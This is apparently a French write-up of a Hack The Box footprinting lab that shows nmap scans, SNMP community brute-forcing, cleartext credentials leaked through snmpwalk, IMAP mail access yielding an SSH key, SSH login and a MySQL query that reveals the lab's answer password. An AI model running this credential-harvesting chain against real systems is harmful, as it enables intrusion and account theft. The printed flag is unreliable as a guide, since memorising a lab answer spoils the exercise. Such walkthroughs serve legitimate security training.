Footprinting Lab - Hard
đŻ Objectif
Le troisiĂšme serveur Ă auditer agit comme serveur de messagerie (MX) ainsi que serveur de gestion interne pour lâinfrastructure rĂ©seau de lâentreprise. Ce type de machine est souvent critique, car il centralise non seulement les communications internes, mais Ă©galement des opĂ©rations sensibles comme les sauvegardes d'utilisateurs ou la gestion des comptes.
Ce serveur est intĂ©grĂ© dans le domaine interne et a notamment pour rĂŽle de servir de serveur de secours (backup) pour les comptes dâutilisateurs.
đĄïž Contexte opĂ©rationnel
Ce serveur est considéré comme hautement sensible, en raison de sa double fonction :
Serveur de messagerie interne (MX)
Serveur de gestion/sauvegarde des comptes utilisateurs
Une cible prioritaire pour les attaquants : de par ses rÎles, il centralise des informations critiques et souvent des identifiants privilégiés.
Un utilisateur nommé
HTB
y a Ă©tĂ© créé spĂ©cifiquement par le client pour lâaudit.
đ Mission
đ Trouver les identifiants de lâutilisateur HTB
présents sur cette machine.
Lâobjectif est de :
Explorer les services exposés
Identifier les mécanismes de gestion ou de messagerie
Trouver les informations sauvegardées ou transférées vers ce serveur
Ăviter toute technique invasive ou destructrice : il s'agit d'une mission de type "footprinting" passif/actif modĂ©rĂ©, sans exploitation intrusive.
Enumerate the server carefully and find the username "HTB" and its password. Then, submit HTB's password as the answer.
Scan de notre cible :
$ nmap -sV -p- 10.129.60.12 -Pn -n --disable-arp-ping
Starting Nmap 7.93 ( https://nmap.org ) at 2025-06-27 14:51 CEST
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
110/tcp open pop3 Dovecot pop3d
143/tcp open imap Dovecot imapd (Ubuntu)
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
995/tcp open ssl/pop3 Dovecot pop3d
Nmap done: 1 IP address (1 host up) scanned in 25.40 seconds
Nous observons ici les ports pop3 et imap. Nous allons donc les utiliser Ă notre avantage.
Cependant, sans identifiants, nous ne pourrons pas exploiter ces protocoles. C'est pour cette raison que nous effectuons un scan UDP de notre cible :
$ nmap -F -sV -sU aca.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2025-06-27 15:30 CEST
PORT STATE SERVICE VERSION
68/udp open|filtered dhcpc
161/udp open snmp net-snmp; net-snmp SNMPv3 server
Nmap done: 1 IP address (1 host up) scanned in 209.72 seconds
Nous allons alors exploiter le protocole snmp :
$ snmpwalk -c public -v 2c "10.129.60.12"
Timeout: No Response from 10.129.60.12
Rien ne nous est retourné concernant la communauté public
.
Ceci est la raison pour laquelle nous allons utiliser l'outil onesixtyone
afin d'effectuer un brute-force pour trouver les communautés possibles :
$ onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/snmp.txt "10.129.60.12"
Scanning 1 hosts, 3219 communities
10.129.60.12 [backup] Linux NIXHARD 5.4.0-90-generic #101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021 x86_64
Nous pouvons alors observer qu'une communauté nous est bien remontés avec le nom backup
.
Nous réutilisons alors snmpwalk
afin de recherches les OIDs de la communauté backup
:
$ snmpwalk -c backup -v 2c "10.129.60.12"
iso.3.6.1.2.1.1.1.0 = STRING: "Linux NIXHARD 5.4.0-90-generic #101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (1020106) 2:50:01.06
iso.3.6.1.2.1.1.4.0 = STRING: "Admin <tech@inlanefreight.htb>"
iso.3.6.1.2.1.1.5.0 = STRING: "NIXHARD"
iso.3.6.1.2.1.1.6.0 = STRING: "Inlanefreight"
[...]
iso.3.6.1.2.1.25.1.7.1.2.1.2.6.66.65.67.75.85.80 = STRING: "/opt/tom-recovery.sh"
iso.3.6.1.2.1.25.1.7.1.2.1.3.6.66.65.67.75.85.80 = STRING: "tom NMds732Js2761"
[...]
iso.3.6.1.2.1.25.1.7.1.3.1.1.6.66.65.67.75.85.80 = STRING: "chpasswd: (user tom) pam_chauthtok() failed, error:"
iso.3.6.1.2.1.25.1.7.1.3.1.2.6.66.65.67.75.85.80 = STRING: "chpasswd: (user tom) pam_chauthtok() failed, error:
Authentication token manipulation error
chpasswd: (line 1, user tom) password not changed
Changing password for tom."
[...]
Nous relevons ainsi les éléments suivants :
iso.3.6.1.2.1.25.1.7.1.2.1.2.6.66.65.67.75.85.80 = STRING: "/opt/tom-recovery.sh"
iso.3.6.1.2.1.25.1.7.1.2.1.3.6.66.65.67.75.85.80 = STRING: "tom NMds732Js2761"
Nous obtenons alors les identifiants de l'utilisateur tom:NMds732Js2761
.
Nous nous connectons alors via les protocoles imap et pop3 grĂące Ă ces identifiants :
$ openssl s_client -connect 10.129.60.12:imaps
CONNECTED(00000003)
[...]
* OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ AUTH=PLAIN] Dovecot (Ubuntu) ready.
1 login tom NMds732Js2761
1 OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SNIPPET=FUZZY PREVIEW=FUZZY LITERAL+ NOTIFY SPECIAL-USE] Logged in
Maintenant connectés, nous listons l'ensemble des répertoires disponibles :
1 list "" *
* LIST (\HasNoChildren) "." Notes
* LIST (\HasNoChildren) "." Meetings
* LIST (\HasNoChildren \UnMarked) "." Important
* LIST (\HasNoChildren) "." INBOX
1 OK List completed (0.005 + 0.000 + 0.004 secs).
AprÚs avoir navigué dans les différents répertoires, nous observons la présence d'un mail dans INBOX
:
1 select INBOX
* OK [CLOSED] Previous mailbox closed.
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft \*)] Flags permitted.
* 1 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1636509064] UIDs valid
* OK [UIDNEXT 2] Predicted next UID
1 OK [READ-WRITE] Select completed (0.010 + 0.000 + 0.010 secs).
Nous pouvons alors lister le contenu de ce mail :
1 fetch 1 body[]
* 1 FETCH (BODY[] {3661}
HELO dev.inlanefreight.htb
MAIL FROM:<tech@dev.inlanefreight.htb>
RCPT TO:<bob@inlanefreight.htb>
DATA
From: [Admin] <tech@inlanefreight.htb>
To: <tom@inlanefreight.htb>
Date: Wed, 10 Nov 2010 14:21:26 +0200
Subject: KEY
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
[...]
XvSb8cNlUIWdRwAAAAt0b21ATklYSEFSRAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
)
1 OK Fetch completed (0.001 + 0.000 secs).
Nous obtenons alors une clé privée SSH , nous l'exploitons en lui attribuant les bons droits :
$ chmod 600 id_rsa # Attribution des bons droits du fichier copié
$ ssh -i id_rsa tom@10.129.60.12 # Connexion en SSH via la clé privée
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-90-generic x86_64)
Last login: Wed Nov 10 02:51:52 2021 from 10.10.14.20
tom@NIXHARD:~$
Nous sommes maintenant connectés à distance à la machine.
Nous analysons le contenu de /etc/passwd
et pouvons observer la présence de mysql, nous allons donc nous en servir afin de trouver l'utilisateur HTB
:
tom@NIXHARD:~$ cat /etc/passwd
[...]
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
[...]
Connexion Ă MySQL
:
tom@NIXHARD:~$ mysql -u tom -pNMds732Js2761
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 11
Server version: 8.0.27-0ubuntu0.20.04.1 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
Maintenant, nous pouvons récupérer les identifiants de l'utilisateur HTB :
mysql> SHOW databases;
+--------------------+
| Database |
+--------------------+
| users |
+--------------------+
mysql> USE users;
Database changed
mysql> SHOW tables;
+-----------------+
| Tables_in_users |
+-----------------+
| users |
+-----------------+
1 row in set (0.00 sec)
mysql> SELECT * FROM users WHERE username="HTB";
+------+----------+------------------------------+
| id | username | password |
+------+----------+------------------------------+
| 150 | HTB | cr3n4o7rzse7rzhnckhssncif7ds |
+------+----------+------------------------------+
1 row in set (0.00 sec)
Nous obtenons donc les identifiants de HTB:cr3n4o7rzse7rzhnckhssncif7ds
.
Mis Ă jour